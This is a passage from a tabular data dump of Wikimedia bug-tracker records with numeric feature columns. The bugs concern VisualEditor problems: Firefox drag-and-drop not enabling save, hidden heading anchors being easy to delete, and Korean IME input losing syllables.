https://bugzilla.wikimedia.org/show_bug.cgi?id=49981
https://bugzilla.wikimedia.org/show_bug.cgi?id=50721",Medium,50.0,1372836600,1380437291.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-itj4sdz77n2m7ganhvyr,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,13.0,3.0,2.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,7.0,8.0,3.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.3114754098360657,0.6557377049180327,"What it says on the tin; if you do nothing but rearrange text, the VE does not recognise it as an alteration and refuses to let you save.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL
URL"
251616,VisualEditor: Disable drag-and-drop of non-media content in Firefox until we support that,"The drag-and-drop operation previously had the appearance of being successful, in that the text would change to the dropped position.  After the text was moved, the save button wasnt enabled.

Now the text can only be picked up and dragged around, but the text move operation is cancelled when the text is dropped.

The bug has been fixed, and I am closing as such.  Probably as part of another piece of related work.

For bonus points, VE shouldnt allow the text to be picked up and dragged.  I've opened that as an enhancement bug 54757.",,,1380437291,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-itj4sdz77n2m7ganhvyr,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,4.5,0.0,2.0,0.5,0.0,0.0,0.0,3.0,1.0,0.0,0.5,0.0,1.5,0.0,6.0,9.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.5,0.5,0.5,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,2.5,0.0,0.5,0.0,0.0,0.0,12.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,7.5,6.0,6.5,1.5,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.5,9.0,1.0,0.0,0.0,0.0,1.5,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.7333333333333334,0.7416666666666667,"The drag-and-drop operation previously had the appearance of being successful, in that the text would change to the dropped position.  After the text was moved, the save button wasnt enabled.

Now the text can only be picked up and dragged around, but the text move operation is cancelled when the text is dropped.

The bug has been fixed, and I am closing as such.  Probably as part of another piece of related work.

For bonus points, VE shouldnt allow the text to be picked up and dragged.  I've opened that as an enhancement bug 54757."
251611,VisualEditor: Disable drag-and-drop of non-media content in Firefox until we support that,fwiw I'm using Firefox and... it seems to work? The first post is not very descriptive so I don't know what to test. Happy to help.,,,1380428239,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-itj4sdz77n2m7ganhvyr,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,16.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,16.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,9.0,9.0,3.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.3125,0.875,fwiw I'm using Firefox and... it seems to work? The first post is not very descriptive so I don't know what to test. Happy to help.
251605,VisualEditor: Disable drag-and-drop of non-media content in Firefox until we support that,*** Bug 50977 has been marked as a duplicate of this bug. ***,,,1377831826,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-itj4sdz77n2m7ganhvyr,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50977 has been marked as a duplicate of this bug. ***
251599,VisualEditor: Disable drag-and-drop of non-media content in Firefox until we support that,*** Bug 50721 has been marked as a duplicate of this bug. ***,,,1375772188,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-itj4sdz77n2m7ganhvyr,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50721 has been marked as a duplicate of this bug. ***
251593,VisualEditor: Disable drag-and-drop of non-media content in Firefox until we support that,"Bug 49981 is about actually supporting this; until we do, we should disable it appearing to try to work in Firefox, only to not do so (because it's disabled).",,,1373581739,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-itj4sdz77n2m7ganhvyr,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,3.0,11.0,19.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,11.0,19.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.611111111111111,0.8333333333333334,"Bug 49981 is about actually supporting this; until we do, we should disable it appearing to try to work in Firefox, only to not do so (because it's disabled)."
251587,VisualEditor: Disable drag-and-drop of non-media content in Firefox until we support that,"**JohnCD67** wrote:

This only happens with drag-and-drop. VE will let you save a text rearrangement done with Ctrl-X, Ctrl-V, or Right-click/Cut, Right-click/Paste.",,,1373581336,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-itj4sdz77n2m7ganhvyr,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.9591836734693877,0.673469387755102,"**JohnCD67** wrote:

This only happens with drag-and-drop. VE will let you save a text rearrangement done with Ctrl-X, Ctrl-V, or Right-click/Cut, Right-click/Paste."
52633,"VisualEditor: Display and let users edit arbitrary HTML anchors, e.g. in section headings","Some pages use anchors in the headings - useful for redirected articles.  Can VE display these and make them editable?

Original request:

I noticed that when editing (e.g.) [[ https://en.wikipedia.org/wiki/TRS-80#Compatible_successors | TRS-80 ]] that anchor templates, such as the ones I'd included within the section titles (e.g. [13])- for links that don't break when section titles change- don't show up in the visual editor... but they're still easily (inadvertantly) deletable, simply by backspacing over the hidden markup.

You couldn't blame a newbie- or even nontechnical editor- for deleting something that wasn't even shown to them(!), but this is the sort of thing that could be a major pain in the neck.

While I'm in favour of the visual editor in principle (the ability to contribute content shouldn't be reliant upon geekish markup skills), this *was* an issue that concerned me when I heard about the idea- namely that the large amounts of complicated templates and markup (which IMHO will never be entirely representable in the visual editor) would be inadvertantly messed up, either by users or by oversights within the design of a ""helpful"" visual editor itself.

Ubcule (talk) 22:28, 2 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1372819920,1425595132.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ce2w6vrcycpoidffw23e,task_description,resolved,True,c1,3,False,False,False,0,,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.6666666666666667,7.0,1.3333333333333333,0.0,0.0,0.0,3.3333333333333335,2.6666666666666665,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,7.0,10.333333333333334,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,2.0,0.3333333333333333,0.0,0.0,1.0,0.6666666666666666,0.0,2.3333333333333335,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,2.0,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,14.666666666666666,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.3333333333333333,0.0,1.0,0.0,6.0,2.3333333333333335,6.333333333333333,2.6666666666666665,2.3333333333333335,7.666666666666667,0.0,0.0,0.3333333333333333,0.0,3.3333333333333335,0.0,1.0,0.0,3.3333333333333335,10.333333333333334,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,3.3333333333333335,0.0,2.6666666666666665,1.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,4.034526297457332,0.7288401253918494,"Some pages use anchors in the headings - useful for redirected articles.  Can VE display these and make them editable?

Original request:

I noticed that when editing (e.g.) [[ URL | TRS-80 ]] that anchor templates, such as the ones I'd included within the section titles (e.g. [13])- for links that don't break when section titles change- don't show up in the visual editor... but they're still easily (inadvertantly) deletable, simply by backspacing over the hidden markup.

You couldn't blame a newbie- or even nontechnical editor- for deleting something that wasn't even shown to them(!), but this is the sort of thing that could be a major pain in the neck.

While I'm in favour of the visual editor in principle (the ability to contribute content shouldn't be reliant upon geekish markup skills), this *was* an issue that concerned me when I heard about the idea- namely that the large amounts of complicated templates and markup (which IMHO will never be entirely representable in the visual editor) would be inadvertantly messed up, either by users or by oversights within the design of a ""helpful"" visual editor itself.

Ubcule (talk) 22:28, 2 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
52631,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**Author:** `ryuch`

**Description:**
Korean input is not complete. 

I tried to input ""한글 시험 합니다."". 
But it eats up some letters and produce ""글 험 다."".

I tested with Chrome and Safari on Mac OSX. And it is all the same with Chrome on Windows XP.

**See Also**: {T52105} {T72353}",Medium,50.0,1372815240,1443085342.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-mndznmqvm6ihjfmb6xap,False,PHID-TASK-v3iakko3iymlxqo43aix,task_description,resolved,True,c1,3,False,False,False,0,,2.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,23.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,20.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,0.6071428571428571,"**Author:** CODE

**Description:**
Korean input is not complete. 

I tried to input ""한글 시험 합니다."". 
But it eats up some letters and produce ""글 험 다."".

I tested with Chrome and Safari on Mac OSX. And it is all the same with Chrome on Windows XP.

**See Also**: {T52105} {T72353}"
534068,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Seem to be resolved (idk which patch solved it).

It's good to see that the #1 reason I hate/blame VE is finally resolved.",,,1443085392,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,116,,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,6.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,6.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,9.0,9.0,3.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.15625,0.90625,"Seem to be resolved (idk which patch solved it).

It's good to see that the #1 reason I hate/blame VE is finally resolved."
533542,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Hi, typing seems to work for me in on en.wikipedia.org and on VE-standalone master, using:

- Windows 8, MS or Nalgaeset IME, Firefox 40.0.3 or Chrome 45.0.2454.99 m
- Ubuntu 15.04, Anthy IME, Firefox 40.0.3 or Chromium 44.0.2403.89 Ubuntu 15.04 (64-bit)

In particular, I'm not seeing the ""first word disappears"" behaviour. Can we close this bug, or is anyone still seeing corruption?",,,1443035363,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,116,,0.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,2.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,20.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,1.0,7.0,0.0,4.0,7.0,19.0,1.0,2.0,0.0,4.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,3.847058823529412,0.7411764705882353,"Hi, typing seems to work for me in on en.wikipedia.org and on VE-standalone master, using:

- Windows 8, MS or Nalgaeset IME, Firefox 40.0.3 or Chrome 45.0.2454.99 m
- Ubuntu 15.04, Anthy IME, Firefox 40.0.3 or Chromium 44.0.2403.89 Ubuntu 15.04 (64-bit)

In particular, I'm not seeing the ""first word disappears"" behaviour. Can we close this bug, or is anyone still seeing corruption?"
517124,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"|browser|version|input|output|diff|
|----|----|----|----|----|
|IE|11.0.9600.17959|인터넷 익스플로러 테스트|인터넷 익스플로러 테스트|14721416|
|Firefox|40.0.3|파이어폭스 테스트|파이어폭스 테스트|14721436|
|Chrome|44.0.2403.157|구글 크롬 테스트|구글 크롬 테스트|14721446|

OS: Win7, 32bit. IME: MS default one.

For diff, use [[https://ko.wikipedia.org/wiki/Special:Diff|Special:Diff]].",,,1440832509,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,112,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.475,0.75,"|browser|version|input|output|diff|
|----|----|----|----|----|
|IE|11.0.9600.17959|인터넷 익스플로러 테스트|인터넷 익스플로러 테스트|14721416|
|Firefox|40.0.3|파이어폭스 테스트|파이어폭스 테스트|14721436|
|Chrome|44.0.2403.157|구글 크롬 테스트|구글 크롬 테스트|14721446|

OS: Win7, 32bit. IME: MS default one.

For diff, use [[URL"
341600,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Same here.
```
구글 크롬 윈도 7 39.0.2171.71 m
```
resulted
```
크롬 윈도 7 39.0.2171.71 m
```
It omits first word (구글).
Tested on Win7 32bit Chrome version 39.0.2171.71 m.",,,1418395634,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,75,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5185185185185186,0.7777777777777778,"Same here.
``CODE`CODE`CODE``
It omits first word (구글).
Tested on Win7 32bit Chrome version 39.0.2171.71 m."
341599,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Same here.
```
구글 크롬 윈도 7 39.0.2171.71 m
```
resulted
```
크롬 윈도 7 39.0.2171.71 m
```
It omits first sentense.
Tested on Win7 32bit Chrome version 39.0.2171.71 m.",,,1418395428,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,75,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9583333333333335,0.75,"Same here.
``CODE`CODE`CODE``
It omits first sentense.
Tested on Win7 32bit Chrome version 39.0.2171.71 m."
341568,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Helo. It seems that finally most of Korean problems are solved.
But one more problem is seen in VE.

In the Windows 7 Chrome 64bit, when Hanguls first inputed and then spaced, the first word disappears.
And this seems not results from IME.

I input it Korean nalgaeset IME:
Input : 날개셋 입력기로도 비슷한 결과가 나오는걸 보니 IME 문제는 애시당초 아니었겠습네다
Output : 입력기로도 비슷한 결과가 나오는걸 보니 IME 문제는 애시당초 아니었겠습네다

Anyway, thank you for your continuous effort.",,,1418391485,,PHID-USER-ipgdr6xrndwpztdrubk4,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,75,,0.0,0.0,0.0,2.0,1.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,12.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,20.0,2.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,17.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,3.7083333333333335,0.6979166666666666,"Helo. It seems that finally most of Korean problems are solved.
But one more problem is seen in VE.

In the Windows 7 Chrome 64bit, when Hanguls first inputed and then spaced, the first word disappears.
And this seems not results from IME.

I input it Korean nalgaeset IME:
Input : 날개셋 입력기로도 비슷한 결과가 나오는걸 보니 IME 문제는 애시당초 아니었겠습네다
Output : 입력기로도 비슷한 결과가 나오는걸 보니 IME 문제는 애시당초 아니었겠습네다

Anyway, thank you for your continuous effort."
341567,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Helo. It seems that finally most of Korean problems are solved.
But one more problem is seen in VE.

In the Windows 7 Chrome 64bit, when Hanguls first inputed and then spaced, the first word disappears.
And this seems not results from IME.

I input it Korean senaru IME:
Input : 세나루 입력기로도 비슷한 결과가 나오는걸 보니 IME 문제는 애시당초 아니었겠습네다
Output : 입력기로도 비슷한 결과가 나오는걸 보니 IME 문제는 애시당초 아니었겠습네다

Anyway, thank you for your continuous effort.",,,1418391287,,PHID-USER-ipgdr6xrndwpztdrubk4,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,75,,0.0,0.0,0.0,2.0,1.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,14.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,20.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,17.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,3.6770833333333335,0.6979166666666666,"Helo. It seems that finally most of Korean problems are solved.
But one more problem is seen in VE.

In the Windows 7 Chrome 64bit, when Hanguls first inputed and then spaced, the first word disappears.
And this seems not results from IME.

I input it Korean senaru IME:
Input : 세나루 입력기로도 비슷한 결과가 나오는걸 보니 IME 문제는 애시당초 아니었겠습네다
Output : 입력기로도 비슷한 결과가 나오는걸 보니 IME 문제는 애시당초 아니었겠습네다

Anyway, thank you for your continuous effort."
340260,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,">>! In T52631#836024, @Revi wrote:
> Hmm, while reviewing [[ https://ko.wikipedia.org/w/index.php?title=특수:최근바뀜&tagfilter=visualeditor | kowiki VE tag ]] , I find most edits have no problem.

Yes, it's unclear right now which IMEs people are using and what their different impacts in VisualEditor are. It's possible that by now Korean works pretty well for the majority of users. We should follow-up with detailed automatic tests of each specific IME's functionalities so we can assess whether or not it works.",,,1418195999,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,75,,2.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,14.0,5.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,9.0,14.0,3.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,4.2272727272727275,0.8484848484848485,"QUOTE
QUOTE

Yes, it's unclear right now which IMEs people are using and what their different impacts in VisualEditor are. It's possible that by now Korean works pretty well for the majority of users. We should follow-up with detailed automatic tests of each specific IME's functionalities so we can assess whether or not it works."
340259,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Hmm, while reviewing [[ https://ko.wikipedia.org/w/index.php?title=특수:최근바뀜&tagfilter=visualeditor | kowiki VE tag ]] , I find most edits have no problem.",,,1418195570,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,75,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,3.0,0.8636363636363636,"Hmm, while reviewing [[ URL | kowiki VE tag ]] , I find most edits have no problem."
250886,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"I tried VE in [[en:User:Hym411/VETest]] with VE betafeatures enabled;

Input: ""구글 크롬 안드로이드용 최신 버전""

Output: See the page above. - ""국글 클롬 안들롱읻등용 쵯신 벚전""

I used latest release of Google Chrome for Android.

Also, comment 25 's 'backspace does not work' still happens to me.",,,1410701090,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,62,,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,4.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,19.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,3.0,1.0,0.0,4.0,8.0,19.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,3.0945945945945947,0.7837837837837838,"I tried VE in [[en:User:Hym411/VETest]] with VE betafeatures enabled;

Input: ""구글 크롬 안드로이드용 최신 버전""

Output: See the page above. - ""국글 클롬 안들롱읻등용 쵯신 벚전""

I used latest release of Google Chrome for Android.

